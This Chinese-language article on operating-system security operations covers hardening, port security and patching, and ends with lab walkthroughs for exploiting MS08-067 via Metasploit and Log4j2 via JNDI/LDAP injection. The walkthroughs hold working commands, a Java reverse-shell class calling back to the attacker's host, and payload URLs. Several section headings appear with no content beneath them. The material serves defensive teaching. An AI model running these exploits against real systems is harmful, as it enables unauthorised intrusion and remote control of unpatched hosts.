随着网络信息技术的普及与发展,信息系统的规模和范围不断扩大,系统在复杂的网络环境中受到不同类别的攻击者的威胁,攻击方法和手段从单一信息系统为主转变到以网络和信息基础运行环境为主的攻击,使用各种各样的工具组合完成目标攻击,形成APT(高级结构化长期威胁),操作系统做为信息系统的运行基础环境核心,成为了攻击的主要目标。
Windows、Linux作为广泛使用的操作系统,因其自身存在的漏洞或配置不当造成的漏洞和风险逐渐凸显。因此,做好操作系统日常安全运维是保障信息系统稳定运行、增加攻击成本的关键基础措施。本文以《信息安全技术 网络安全等级保护实施指南》(GB/T 25058-2019)、《信息安全技术 网络安全等级保护基本要求》(GB/T 22239-2019)、《信息安全技术 操作系统安全技术要求》(GB/T 20272-2019)、《信息安全技术 云操作系统安全技术要求》为基础理论,结合渗透示例和运维管理工作实践,对操作系统日常安全运维提出以下几方面建议。
一.操作系统安全配置运维
操作系统的安全运维,涵盖系统安全、账户安全、文件安全、通信安全、日志管理安全等各个方面的操作,包含但不限于以下内容:
(一)系统安全
(二)账户安全
(三)文件安全
(四)软件安全
(五)通信安全
(六)日志管理安全
二.端口安全及高危端口处置建议
(一)端口安全的重要性
端口在日常网络安全运维中是非常重要的项目,原因如下:
1.防止未授权访问:通过配置端口安全,可以有效防止未经授权的设备或用户通过网络端口访问网络。
2.防止网络攻击:端口安全可辅助防止各种类型的网络攻击,包括拒绝服务攻击、扫描攻击和利用特定端口漏洞的攻击。
3.提升网络安全姿态:端口安全是整体网络安全策略的关键组成部分。它与防火墙、入侵检测系统和其他安全措施相结合,形成了多层防御体系,增强了组织对抗网络威胁的能力。
4.最小权限原则:端口安全实践了网络安全的最小权限原则,即仅开放必要端口供特定服务使用。
综上所述,端口安全对于维护一个安全、可靠和高效的网络环境至关重要。它不仅有助于保护组织的内部资源,还能确保网络活动的合法性和合规性。因此,组织应该投入适当的资源和努力来实施和维护有效的端口安全策略。
(二)高危端口及处置建议
三.漏洞修复的重要性以及著名高危漏洞
(一)漏洞修复的重要性
漏洞修复是确保网络安全的关键环节,提升网络防御能力的基石。通过定期更新和修补系统,组织可以确保其安全控制措施能够抵御最新的威胁和攻击手法。
1.未经修复的漏洞可能被攻击者利用,以获取未经授权的系统访问权限或窃取敏感数据。通过及时修复这些漏洞,组织可以有效防止数据泄露和其他相关安全问题。
2.漏洞不仅可以被用来窃取数据,还可能导致系统崩溃或损坏。给组织带来财务损失和声誉损害。通过迅速修复漏洞,组织可以减少这种风险,确保业务的连续性和稳定性。
3.随着网络环境和攻击技术的不断演变,新的漏洞不断出现。有效的漏洞修复流程使组织能够适应这些变化,确保其安全控制措施与当前威胁相匹配。
有效的漏洞修复可以显著降低网络被攻击的可能性。通过定期的扫描和评估,及时发现系统中存在的安全漏洞,并迅速部署修补措施,从而减少攻击者利用这些漏洞的时间窗口。它与防火墙、入侵检测系统和其他安全措施相结合,形成了多层防御体系。这种综合安全策略比单一的安全措施更能有效地保护组织免受网络攻击。
(二)著名的高危漏洞
四.渗透攻击示例
(一)WINDOWS远程控制漏洞示例
1.利用漏洞MS08-067远程代码执行漏洞;
2.技术工具:Kali、nmap、Metasploit
3.当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:Windows 2000、Windows XP、Windows Server 2003
4.体现关闭相关高危端口、安装杀毒软件和补丁重要性。
5.环境搭建
(1) 受害机:Windows XP SP1镜像、攻击机:Kali系统。
(2) 在虚拟机中安装Windows XP SP1系统和Kali系统。
(3) 虚拟机两个系统之间能够相互通信。
l Kali:192.168.44.136
l Win XP:192.168.44.135
(4) 打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。
(5) 关闭Windows XP系统的防火墙。
(6) 做完这些初始准备后,开始利用Kali系统进行漏洞复现。
(7) “135、137、138、139和445端口” ,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!
总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。
6.利用Metasploit复现漏洞
l 攻击机:Kali - 192.168.44.136
l 受害机:Win XP - 192.168.44.135
(1) 利用Nmap工具扫描端口及确认该漏洞是否存在。
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。
或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放。
nmap -sV -Pn 192.168.44.135
(2) 进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。
msfconsole
search ms08-067
(3) 进入漏洞模块,并查看相关的使用说明。
使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。
use exploit/windows/smb/ms08_067_netapi
show options
show targets
(4) 设置攻击机、受害机信息。
# 目标机ip
set RHOST 192.168.44.135
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.44.136
# 设置自动类型
set target 0
# 显示配置信息
show options
(5) 运行exploit反弹shell。
此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。
exploit
session 1
ipconfig
pwd
(6) 在目标主机上创建文件夹及文件。
cd ..
# 创建文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 创建文件并写入内容
echo eastmount>test.txt
# 查看目标系统的基本信息
sysinfo
(7) 显示结果下图所示:
(8) 对目标XP主机进行深度提权。
# 增加普通用户
net user hacker 123456 /add
# 提升管理员权限
(二)Log4j2漏洞攻击示例
1.Log4j引入了lookup接口来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
2.在Log4j框架中,当处理日志消息时,会通过字符检测来查找特定的占位符(例如${})并将解析替换为实际内容,例如${java:version}会被替换为对应的Java版本,这里就是Log4j漏洞的关键所在了:如果不对lookup的出栈进行限制,恶意用户就可以构建特殊的表达式作为占位符,在解析式就会触发恶意行为。
3.如果Log4j的配置允许使用LDAP或RMI,那么在解析占位符时,Log4j将会执行远程服务的请求并并处理返回结果。这使得攻击者可以执行任意远程代码,造成获取敏感信息、服务器被入侵等严重后果。
4.影响版本:Apache Log4j 2.x<=2.15.0.rc1。
5.利用条件:打印的日志中包括LDAP/RMI协议、没有对lookup的出栈进行限制、允许外网访问权限。正是因为利用条件比较低,所以利用难度也较低,无需授权即可远程代码执行,所以它造成的威胁等级是严重的。
6.漏洞复现
(1) 环境准备
dnslog.cn申请子域名
Ubuntu:192.168.85.132运行vulhub的漏洞测试环境
kali:192.168.85.128部署ldap服务、web服务、nc服务
(2) 利用dnslog测试漏洞是否存在
在dnslog上获取一个域名ur4no8.dnslog.cn,在浏览器中访问如下url:
http://192.168.85.132:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ur4no8.dnslog.cn}
在dnslog中收到相关信息如下证明存在漏洞。
大多数人就把log4j2的渗透测试流程介绍到这个地方就结束了,但我们接下来要利用该漏洞获得shell。
(3) 开启web服务,编译java恶意文件
在kali:192.168.85.128上开启一个简单的web服务器,部署恶意文件,这个恶意文件需要我们自己生成,该文件的java原文件如下:
public class LogShell{
static { //static是编译运行时最初会执行的
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
使用java编译器javac LogShell.java将上述java源程序编译成字节码文件LogShell.class,部署在我们的kali机器上,并在字节码文件所在目录使用python在kali机器的10001端口上开启web服务,python3 -m http.server 10001,访问http://192.168.85.128:10001我们的web服务成功搭建。
(4) 开启ldap服务
在LogShell.class文件所在目录下我们使用marshalsec-0.0.3-SNAPSHOT-all.jar在kali机器的10010端口上开启ldap服务,命令是:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http: //192.168.85.128:10001/#Exploit" 10010
让目标服务器来访问我们ldap服务。
(5) 监听反弹shell的端口
在kali机器的4444端口上开启nc监听,命令是:
nc -lvnp 4444
监听的端口要与我们的LogShell.java文件中"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"的端口要对应。此时我们的准备工作已经做好了。
(6) 攻击实现
在浏览器访问http://192.168.85.132:8983/solr/admin/cores?action=${jndi:ldap://192.168.85.128:10010/LogShell}
在我们的kali机器上能够看到nc监听成功,并得到shell